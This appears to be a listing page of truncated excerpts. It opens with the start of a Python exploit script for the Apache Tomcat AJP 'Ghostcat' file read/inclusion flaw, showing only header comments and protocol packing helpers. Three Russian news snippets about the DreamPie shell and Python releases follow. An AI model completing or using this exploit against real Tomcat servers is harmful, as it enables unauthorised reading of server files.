Apache Tomcat - AJP 'Ghostcat File Read/Inclusion

#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return...

DreamPie - новая командная оболочка для языка Python

Анонсирован первый релиз новой графической интерактивной командной оболочки (shell) для языка программирования Python - DreamPie 1.0. Программа распространяется в рамках лицензии GPLv3 и поддерживает интеграцию с Python 2.5, Python 2.6, Python 3.1, Jython 2.5 и IronPython 2.6. При разработке DreamPie использован код интегрированной среды разработки приложений IDLE, который был комбинирован с классическим интерактивным shell. Основная рабочая область в DreamPie разделена на два окна: в одном отображается история...

Выход новых версий Python

Выпущены новые версии популярного скриптового языка Python - 2.4.6 и 2.5.3. Оба обновления устраняют проблемы с безопаностью, сообщает opennet.ru: - возможность краха при обработке изображений функциями модулей imageop и rgbimgmodule; несколько ошибок, приводящих к краху интерпретатора; - исправлены проблемы в коде проверки на переполнение в функциях распределения памяти; возможность совершения DoS атаки через модуль zlib; - потенциальное целочисленное переполнение в функциях PyString_FromStringAndSize...

Python 3.0

Разработчики популярного свободного языка программирования Python анонсировали выход версии 3.0. Новая версия является первой, в которой разработчики сознательно отказались от сохранения обратной совместимости с предыдущими, дополнив, изменив или удалив целый ряд языковых конструкций. Так, объединены в единый тип str, реализующий строки Unicode, строковые типы str и unicode; функция print() заменила одноименный оператор; ряд функций, возвращавших списки (list), теперь возвращают итераторы. Напомним...